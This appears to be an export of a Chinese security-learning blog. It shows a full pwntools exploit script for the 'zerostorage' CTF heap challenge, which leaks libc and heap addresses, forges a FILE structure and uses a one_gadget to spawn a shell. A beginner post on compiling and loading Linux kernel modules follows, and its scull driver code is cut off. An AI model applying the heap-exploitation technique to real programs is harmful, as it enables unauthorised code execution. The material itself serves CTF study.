<h3 id="完整EXP-1"><a href="#完整EXP-1" class="headerlink" title="完整EXP"></a>完整EXP</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./zerostorage'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">g_m_f=<span class="number">0x3c67f8</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loginfo</span><span class="params">(what=<span class="string">''</span>,address=<span class="number">0</span>)</span>:</span></span><br><span class="line">	log.info(<span class="string">"\033[1;36m"</span> + what + <span class="string">'-----&gt;'</span> + hex(address) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">'''libc 2.23 x64</span></span><br><span class="line"><span class="string">0x45216 execve("/bin/sh", rsp+0x30, environ)constraints:  rax == NULL</span></span><br><span class="line"><span class="string">0x4526a execve("/bin/sh", rsp+0x30, environ)constraints:  [rsp+0x30] == NULL</span></span><br><span class="line"><span class="string">0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints:  [rsp+0x50] == NULL</span></span><br><span class="line"><span class="string">0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL</span></span><br><span class="line"><span class="string">req = dest - old_top - 4*sizeof(long)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="comment">#todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">insert</span><span class="params">(size,content)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'1'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'Length of new entry: '</span>)</span><br><span class="line">	p.sendline(str(size))</span><br><span class="line">	p.recvuntil(<span class="string">'Enter your data: '</span>)</span><br><span class="line">	p.send(content)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">update</span><span class="params">(id,size,content)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'2'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'Entry ID: '</span>)</span><br><span class="line">	p.sendline(str(id))</span><br><span class="line">	p.recvuntil(<span class="string">"Length of entry: "</span>)</span><br><span class="line">	p.sendline(str(size))</span><br><span class="line">	p.recvuntil(<span class="string">'Enter your data: '</span>)</span><br><span class="line">	p.send(content)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">merge</span><span class="params">(fromid,toid)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'3'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'from Entry ID: '</span>)</span><br><span class="line">	p.sendline(str(fromid))</span><br><span class="line">	p.recvuntil(<span class="string">'to Entry ID: '</span>)</span><br><span class="line">	p.sendline(str(toid))</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(id)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'4'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'Entry ID: '</span>)</span><br><span class="line">	p.sendline(str(id))</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">view</span><span class="params">(id)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'5'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'Entry ID: '</span>)</span><br><span class="line">	p.sendline(str(id))</span><br><span class="line">insert(<span class="number">0x80</span>,<span class="string">'a'</span>*<span class="number">0x80</span>)<span class="comment">#0</span></span><br><span class="line">insert(<span class="number">0x80</span>,<span class="string">'b'</span>*<span class="number">0x80</span>)<span class="comment">#1</span></span><br><span class="line">insert(<span class="number">0x1000</span>,<span class="string">'d'</span>*<span class="number">0x1000</span>)<span class="comment">#2</span></span><br><span class="line">insert(<span class="number">0x3f0</span>,<span class="string">'e'</span>*<span class="number">0x3f0</span>)<span class="comment">#3</span></span><br><span class="line">insert(<span class="number">0x3f0</span>,<span class="string">'f'</span>*<span class="number">0x3f0</span>)<span class="comment">#4</span></span><br><span class="line">insert(<span class="number">0x80</span>,<span class="string">'g'</span>*<span class="number">0x80</span>)<span class="comment">#5</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">3</span>)<span class="comment">#delete for leak&amp;merge</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">1</span>)<span class="comment">#delete for merge</span></span><br><span class="line">merge(<span class="number">0</span>,<span class="number">0</span>)</span><br><span class="line">view(<span class="number">1</span>)<span class="comment">#leak</span></span><br><span class="line"></span><br><span class="line">heap_off=<span class="number">-0x1130</span></span><br><span class="line">libc_off=<span class="number">-0x3c4b78</span></span><br><span class="line">p.recvuntil(<span class="string">':\n'</span>)</span><br><span class="line">heap_base=heap_off+u64(p.recv(<span class="number">8</span>))</span><br><span class="line">libc_base=libc_off+u64(p.recv(<span class="number">8</span>))</span><br><span class="line">loginfo(<span class="string">"heapbase"</span>,heap_base)</span><br><span class="line">loginfo(<span class="string">"libcbase"</span>,libc_base)</span><br><span class="line"></span><br><span class="line">fake_err=<span class="string">''</span>.ljust(<span class="number">0x10</span>,<span class="string">'\x00'</span>)+p64(<span class="number">0</span>)+p64(<span class="number">16</span>)+p64(<span class="number">0</span>)*<span class="number">7</span><span class="comment">#offset-0x10 because '_IO_list_all' will point to the chunk header</span></span><br><span class="line">fake_err+=p64(libc_base+<span class="number">0x3c5620</span>)+p64(<span class="number">2</span>)+p64(<span class="number">0xffffffffffffffff</span>)+p64(<span class="number">0</span>)+p64(libc_base+<span class="number">0x3c6770</span>)</span><br><span class="line">fake_err=fake_err.ljust(<span class="number">0xc0</span>,<span class="string">'\x00'</span>)+p64(<span class="number">0</span>)</span><br><span class="line">fake_err=fake_err.ljust(<span class="number">0xc8</span>,<span class="string">'\x00'</span>)+p64(heap_base+<span class="number">0x200</span>)</span><br><span class="line"></span><br><span class="line">fake_table=p64(<span class="number">0</span>)*<span class="number">3</span>+p64(libc_base+<span class="number">0x4526a</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">update(<span class="number">2</span>,<span class="number">0x1000</span>,(fake_err+fake_table).ljust(<span class="number">0x1000</span>,<span class="string">'\x00'</span>))<span class="comment">#update to fake err FILE</span></span><br><span class="line"></span><br><span class="line">merge(<span class="number">4</span>,<span class="number">2</span>)<span class="comment">#merge to 0x1410 and unsortedbin have only one chunk now because of the UNLINK</span></span><br><span class="line"></span><br><span class="line">update(<span class="number">1</span>,<span class="number">0x100</span>,p64(<span class="number">0</span>)+p64(libc_base+g_m_f<span class="number">-0x10</span>)+<span class="string">'2'</span>*<span class="number">0xf0</span>)<span class="comment">#update for next insert to change global_max_fast</span></span><br><span class="line"></span><br><span class="line">insert(<span class="number">0x110</span>,<span class="string">'\x33'</span>*<span class="number">0x110</span>)<span class="comment">#change global_max_fast</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">0</span>)<span class="comment">#delete 0x1410chunk</span></span><br><span class="line"></span><br><span class="line">p.sendline(<span class="string">'7'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

]]></content>
      <tags>
        <tag>how2heap</tag>
      </tags>
  </entry>
  <entry>
    <title>kernel入门</title>
    <url>/2020/03/23/kernel%E5%85%A5%E9%97%A8/</url>
    <content><![CDATA[<h1 id="kernel入门"><a href="#kernel入门" class="headerlink" title="kernel入门"></a>kernel入门</h1><h2 id="编译驱动程序"><a href="#编译驱动程序" class="headerlink" title="编译驱动程序"></a>编译驱动程序</h2><h3 id="hello-c"><a href="#hello-c" class="headerlink" title="hello.c"></a>hello.c</h3><hr>
<p><code>/usr/src/linux-headers-4.4.0-174/</code>  –&gt; 该内核源码目录<br><code>/usr/src/linux-headers-4.4.0-174-generic/</code>    –&gt; 该内核编译好的源码目录</p>
<hr>
<p>切到<code>/usr/src/linux-headers-4.4.0-174-generic</code>路径</p>
<p>然后<code>make menuconfig</code>，我<a href="https://blog.csdn.net/prophet10086/article/details/78459530" target="_blank" rel="noopener">照着</a>大致修改了一下有些没有开启的东西（乱开一通系列…）</p>
<p>切回我们第一个想编译的程序路径</p>
<p>第一个驱动程序<code>hello.c</code></p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;linux/init.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;linux/module.h&gt;</span></span></span><br><span class="line">MODULE_LICENSE(<span class="string">"Dual BSD/GPL"</span>);</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">hello_init</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">        printk(KERN_ALERT <span class="string">"Hello, world\n"</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">            </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">hello_exit</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">        printk(KERN_ALERT <span class="string">"Goodbye, cruel world\n"</span>);</span><br><span class="line">        </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">module_init(hello_init);</span><br><span class="line">module_exit(hello_exit);<span class="comment">//module_exit会将这个函数</span></span><br></pre></td></tr></table></figure>

<p>Makefile</p>
<figure class="highlight makefile"><table><tr><td class="code"><pre><span class="line"><span class="comment"># To build modules outside of the kernel tree, we run "make"</span></span><br><span class="line"><span class="comment"># in the kernel source tree; the Makefile these then includes this</span></span><br><span class="line"><span class="comment"># Makefile once again.</span></span><br><span class="line"><span class="comment"># This conditional selects whether we are being included from the</span></span><br><span class="line"><span class="comment"># kernel Makefile or not.</span></span><br><span class="line"><span class="keyword">ifeq</span> (<span class="variable">$(KERNELRELEASE)</span>,)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Assume the source tree is where the running kernel was built</span></span><br><span class="line">    <span class="comment"># You should set KERNELDIR in the environment if it's elsewhere</span></span><br><span class="line">    KERNELDIR ?= /lib/modules/<span class="variable">$(<span class="built_in">shell</span> uname -r)</span>/build</span><br><span class="line">    <span class="comment"># The current directory is passed to sub-makes as argument</span></span><br><span class="line">    PWD := <span class="variable">$(<span class="built_in">shell</span> pwd)</span></span><br><span class="line"></span><br><span class="line"><span class="section">modules:</span></span><br><span class="line">	<span class="variable">$(MAKE)</span> -C <span class="variable">$(KERNELDIR)</span> M=<span class="variable">$(PWD)</span> modules</span><br><span class="line"></span><br><span class="line"><span class="section">modules_install:</span></span><br><span class="line">	<span class="variable">$(MAKE)</span> -C <span class="variable">$(KERNELDIR)</span> M=<span class="variable">$(PWD)</span> modules_install</span><br><span class="line"></span><br><span class="line"><span class="section">clean:</span></span><br><span class="line">	rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions</span><br><span class="line"></span><br><span class="line"><span class="meta"><span class="meta-keyword">.PHONY</span>: modules modules_install clean</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    <span class="comment"># called from kernel build system: just declare what our modules are</span></span><br><span class="line">    obj-m := hello.o</span><br><span class="line"><span class="keyword">endif</span></span><br></pre></td></tr></table></figure>

<p>接着执行<code>make</code></p>
<p>编译好了之后就可以在目录下看到这个文件（kenel object缩写）</p>
<p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1584795814785.png" alt="1584795814785"></p>
<p>使用<code>sudo insmod hello.ko</code>即可加载该驱动程序（模块）    //此时会调用module_init设置的设备初始化函数</p>
<p><code>lsmod |grep hello</code>可以看到驱动被成功加载</p>
<p><code>tail /var/log/syslog</code>可以看到最后一行是程序的init加载就输出的内容</p>
<p><code>rmmod</code>移除模块    //此时会调用module_exit设置的设备退出函数</p>
<p><code>tail /var/log/syslog</code>也可以看到程序fini输出的内容了</p>
<h4 id="IDA界面如下"><a href="#IDA界面如下" class="headerlink" title="IDA界面如下"></a>IDA界面如下</h4><p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1584962662551.png" alt="1584962662551"></p>
<p>其中printk似乎会在字符串前面加上一个1，左边就可以看到我们的驱动有init和exit两个函数了</p>
<h2 id="在dev下增加驱动文件"><a href="#在dev下增加驱动文件" class="headerlink" title="在dev下增加驱动文件"></a>在dev下增加驱动文件</h2><p>参考来自：<a href="https://paper.seebug.org/779/#_2" target="_blank" rel="noopener">https://paper.seebug.org/779/#_2</a></p>
<p>这段代码很长，不过我主要只是理解了其中一个概念：<code>struct file_operations scull_fops</code>是啥</p>
<p>当然我当时编译的时候报错了，下面这段代码要加上一个<a href="https://blog.csdn.net/zbqwxy/article/details/8697896" target="_blank" rel="noopener">这个</a>，还有把<code>raw_copy_...</code>函数前面的<code>raw_</code>去掉</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;linux/init.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;linux/module.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;linux/kernel.h&gt;   /* printk() */</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;linux/slab.h&gt;     /* kmalloc() */</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;linux/fs.h&gt;       /* everything... */</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;linux/errno.h&gt;    /* error codes */</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;linux/types.h&gt;    /* size_t */</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;linux/fcntl.h&gt;    /* O_ACCMODE */</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;linux/cdev.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;asm/uaccess.h&gt;    /* copy_*_user */</span></span></span><br><span class="line"></span><br><span class="line">MODULE_LICENSE(<span class="string">"Dual BSD/GPL"</span>);</span><br><span class="line">MODULE_AUTHOR(<span class="string">"Hcamael"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> scull_major =   <span class="number">0</span>;</span><br><span class="line"><span class="keyword">int</span> scull_minor =   <span class="number">0</span>;</span><br><span class="line"><span class="keyword">int</span> scull_nr_devs = <span class="number">4</span>;</span><br><span class="line"><span class="keyword">int</span> scull_quantum = <span class="number">4000</span>;</span><br><span class="line"><span class="keyword">int</span> scull_qset = <span class="number">1000</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">scull_qset</span> &#123;</span></span><br><span class="line">    <span class="keyword">void</span> **data;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">scull_qset</span> *<span class="title">next</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">scull_dev</span> &#123;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">scull_qset</span> *<span class="title">data</span>;</span>  <span class="comment">/* Pointer to first quantum set. */</span></span><br><span class="line">    <span class="keyword">int</span> quantum;              <span class="comment">/* The current quantum size. */</span></span><br><span class="line">    <span class="keyword">int</span> qset;                 <span class="comment">/* The current array size. */</span></span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="built_in">size</span>;       <span class="comment">/* Amount of data stored here. */</span></span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">int</span> access_key;  <span class="comment">/* Used by sculluid and scullpriv. */</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">mutex</span> <span class="title">mutex</span>;</span>       <span class="comment">/* Mutual exclusion semaphore. */</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">cdev</span> <span class="title">cdev</span>;</span>     <span class="comment">/* Char device structure. */</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">scull_dev</span> *<span class="title">scull_devices</span>;</span>    <span class="comment">/* allocated in scull_init_module */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Follow the list.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function">struct scull_qset *<span class="title">scull_follow</span><span class="params">(struct scull_dev *dev, <span class="keyword">int</span> n)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">scull_qset</span> *<span class="title">qs</span> = <span class="title">dev</span>-&gt;<span class="title">data</span>;</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">/* Allocate the first qset explicitly if need be. */</span></span><br><span class="line">    <span class="keyword">if</span> (! qs) &#123;</span><br><span class="line">        qs = dev-&gt;data = kmalloc(<span class="keyword">sizeof</span>(struct scull_qset), GFP_KERNEL);</span><br><span class="line">        <span class="keyword">if</span> (qs == <span class="literal">NULL</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">        <span class="built_in">memset</span>(qs, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct scull_qset));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Then follow the list. */</span></span><br><span class="line">    <span class="keyword">while</span> (n--) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!qs-&gt;next) &#123;</span><br><span class="line">            qs-&gt;next = kmalloc(<span class="keyword">sizeof</span>(struct scull_qset), GFP_KERNEL);</span><br><span class="line">            <span class="keyword">if</span> (qs-&gt;next == <span class="literal">NULL</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">            <span class="built_in">memset</span>(qs-&gt;next, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct scull_qset));</span><br><span class="line">        &#125;</span><br><span class="line">        qs = qs-&gt;next;</span><br><span class="line">        <span class="keyword">continue</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> qs;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Data management: read and write.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">ssize_t</span> scull_read(struct file *filp, <span class="keyword">char</span> __user *buf, <span class="keyword">size_t</span> count,</span><br><span class="line">                <span class="keyword">loff_t</span> *f_pos)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">scull_dev</span> *<span class="title">dev</span> = <span class="title">filp</span>-&gt;<span class="title">private_data</span>;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">scull_qset</span> *<span class="title">dptr</span>;</span> <span class="comment">/* the first listitem */</span></span><br><span class="line">    <span class="keyword">int</span> quantum = dev-&gt;quantum, qset = dev-&gt;qset;</span><br><span class="line">    <span class="keyword">int</span> itemsize = quantum * qset; <span class="comment">/* how many bytes in the listitem */</span></span><br><span class="line">    <span class="keyword">int</span> item, s_pos, q_pos, rest;</span><br><span class="line">    <span class="keyword">ssize_t</span> retval = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (mutex_lock_interruptible(&amp;dev-&gt;mutex))</span><br><span class="line">        <span class="keyword">return</span> -ERESTARTSYS;</span><br><span class="line">    <span class="keyword">if</span> (*f_pos &gt;= dev-&gt;<span class="built_in">size</span>)</span><br><span class="line">        <span class="keyword">goto</span> out;</span><br><span class="line">    <span class="keyword">if</span> (*f_pos + count &gt; dev-&gt;<span class="built_in">size</span>)</span><br><span class="line">        count = dev-&gt;<span class="built_in">size</span> - *f_pos;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Find listitem, qset index, and offset in the quantum */</span></span><br><span class="line">    item = (<span class="keyword">long</span>)*f_pos / itemsize;</span><br><span class="line">    rest = (<span class="keyword">long</span>)*f_pos % itemsize;</span><br><span class="line">    s_pos = rest / quantum; q_pos = rest % quantum;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* follow the list up to the right position (defined elsewhere) */</span></span><br><span class="line">    dptr = scull_follow(dev, item);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (dptr == <span class="literal">NULL</span> || !dptr-&gt;data || ! dptr-&gt;data[s_pos])</span><br><span class="line">        <span class="keyword">goto</span> out; <span class="comment">/* don't fill holes */</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* read only up to the end of this quantum */</span></span><br><span class="line">    <span class="keyword">if</span> (count &gt; quantum - q_pos)</span><br><span class="line">        count = quantum - q_pos;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (raw_copy_to_user(buf, dptr-&gt;data[s_pos] + q_pos, count)) &#123;</span><br><span class="line">        retval = -EFAULT;</span><br><span class="line">        <span class="keyword">goto</span> out;</span><br><span class="line">    &#125;</span><br><span class="line">    *f_pos += count;</span><br><span class="line">    retval = count;</span><br><span class="line"></span><br><span class="line">  out:</span><br><span class="line">    mutex_unlock(&amp;dev-&gt;mutex);</span><br><span class="line">    <span class="keyword">return</span> retval;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">ssize_t</span> scull_write(struct file *filp, <span class="keyword">const</span> <span class="keyword">char</span> __user *buf, <span class="keyword">size_t</span> count,</span><br><span class="line">                <span class="keyword">loff_t</span> *f_pos)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">scull_dev</span> *<span class="title">dev</span> = <span class="title">filp</span>-&gt;<span class="title">private_data</span>;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">scull_qset</span> *<span class="title">dptr</span>;</span></span><br><span class="line">    <span class="keyword">int</span> quantum = dev-&gt;quantum, qset = dev-&gt;qset;</span><br><span class="line">    <span class="keyword">int</span> itemsize = quantum * qset;</span><br><span class="line">    <span class="keyword">int</span> item, s_pos, q_pos, rest;</span><br><span class="line">    <span class="keyword">ssize_t</span> retval = -ENOMEM; <span class="comment">/* Value used in "goto out" statements. */</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (mutex_lock_interruptible(&amp;dev-&gt;mutex))</span><br><span class="line">        <span class="keyword">return</span> -ERESTARTSYS;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Find the list item, qset index, and offset in the quantum. */</span></span><br><span class="line">    item = (<span class="keyword">long</span>)*f_pos / itemsize;</span><br><span class="line">    rest = (<span class="keyword">long</span>)*f_pos % itemsize;</span><br><span class="line">    s_pos = rest / quantum;</span><br><span class="line">    q_pos = rest % quantum;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Follow the list up to the right position. */</span></span><br><span class="line">    dptr = scull_follow(dev, item);</span><br><span class="line">    <span class="keyword">if</span> (dptr == <span class="literal">NULL</span>)</span><br><span class="line">        <span class="keyword">goto</span> out;</span><br><span class="line">    <span class="keyword">if</span> (!dptr-&gt;data) &#123;</span><br><span class="line">        dptr-&gt;data = kmalloc(qset * <span class="keyword">sizeof</span>(<span class="keyword">char</span> *), GFP_KERNEL);</span><br><span class="line">        <span class="keyword">if</span> (!dptr-&gt;data)</span><br><span class="line">            <span class="keyword">goto</span> out;</span><br><span class="line">        <span class="built_in">memset</span>(dptr-&gt;data, <span class="number">0</span>, qset * <span class="keyword">sizeof</span>(<span class="keyword">char</span> *));</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (!dptr-&gt;data[s_pos]) &#123;</span><br><span class="line">        dptr-&gt;data[s_pos] = kmalloc(quantum, GFP_KERNEL);</span><br><span class="line">        <span class="keyword">if</span> (!dptr-&gt;data[s_pos])</span><br><span class="line">            <span class="keyword">goto</span> out;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">/* Write only up to the end of this quantum. */</span></span><br><span class="line">    <span class="keyword">if</span> (count &gt; quantum - q_pos)</span><br><span class="line">        count = quantum - q_pos;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (raw_copy_from_user(dptr-&gt;data[s_pos]+q_pos, buf, count)) &#123;</span><br><span class="line">        retval = -EFAULT;</span><br><span class="line">        <span class="keyword">goto</span> out;</span><br><span class="line">    &#125;</span><br><span class="line">    *f_pos += count;</span><br><span class="line">    retval = count;</span><br><span class="line"></span><br><span class="line">        <span class="comment">/* Update the size. */</span></span><br><span class="line">    <span class="keyword">if</span> (dev-&gt;<span class="built_in">size</span> &lt; *f_pos)</span><br><span class="line">        dev-&gt;<span class="built_in">size</span> = *f_pos;</span><br><span class="line"></span><br><span class="line">  out:</span><br><span class="line">    mutex_unlock(&amp;dev-&gt;mutex);</span><br><span class="line">    <span class="keyword">return</span> retval;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Beginning of the scull device implementation. */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Empty out the scull device; must be called with the device</span></span><br><span class="line"><span class="comment"> * mutex held.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">scull_trim</span><span class="params">(struct scull_dev *dev)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">scull_qset</span> *<span class="title">next</span>, *<span class="title">dptr</span>;</span></span><br><span class="line">    <span class="keyword">int</span> qset = dev-&gt;qset;   <span class="comment">/* "dev" is not-null */</span></span><br><span class="line">    <span class="keyword">int</span> i;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (dptr = dev-&gt;data; dptr; dptr = next) &#123; <span class="comment">/* all the list items */</span></span><br><span class="line">        <span class="keyword">if</span> (dptr-&gt;data) &#123;</span><br><span class="line">            <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; qset; i++)</span><br><span class="line">                kfree(dptr-&gt;data[i]);</span><br><span class="line">            kfree(dptr-&gt;data);</span><br><span class="line">            dptr-&gt;data = <span class="literal">NULL</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        next = dptr-&gt;next;</span><br><span class="line">        kfree(dptr);</span><br><span class="line">    &#125;</span><br><span class="line">    dev-&gt;<span class="built_in">size</span> = <span class="number">0</span>;</span><br><span class="line">    dev-&gt;quantum = scull_quantum;</span><br><span class="line">    dev-&gt;qset = scull_qset;</span><br><span class="line">    dev-&gt;data = <span class="literal">NULL</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">scull_release</span><span class="params">(struct inode *inode, struct file *filp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    printk(KERN_DEBUG <span class="string">"process %i (%s) success release minor(%u) file\n"</span>, current-&gt;pid, current-&gt;comm, iminor(inode));</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Open and close</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">scull_open</span><span class="params">(struct inode *inode, struct file *filp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">scull_dev</span> *<span class="title">dev</span>;</span> <span class="comment">/* device information */</span></span><br><span class="line"></span><br><span class="line">    dev = container_of(inode-&gt;i_cdev, struct scull_dev, cdev);</span><br><span class="line">    filp-&gt;private_data = dev; <span class="comment">/* for other methods */</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* If the device was opened write-only, trim it to a length of 0. */</span></span><br><span class="line">    <span class="keyword">if</span> ( (filp-&gt;f_flags &amp; O_ACCMODE) == O_WRONLY) &#123;</span><br><span class="line">        <span class="keyword">if</span> 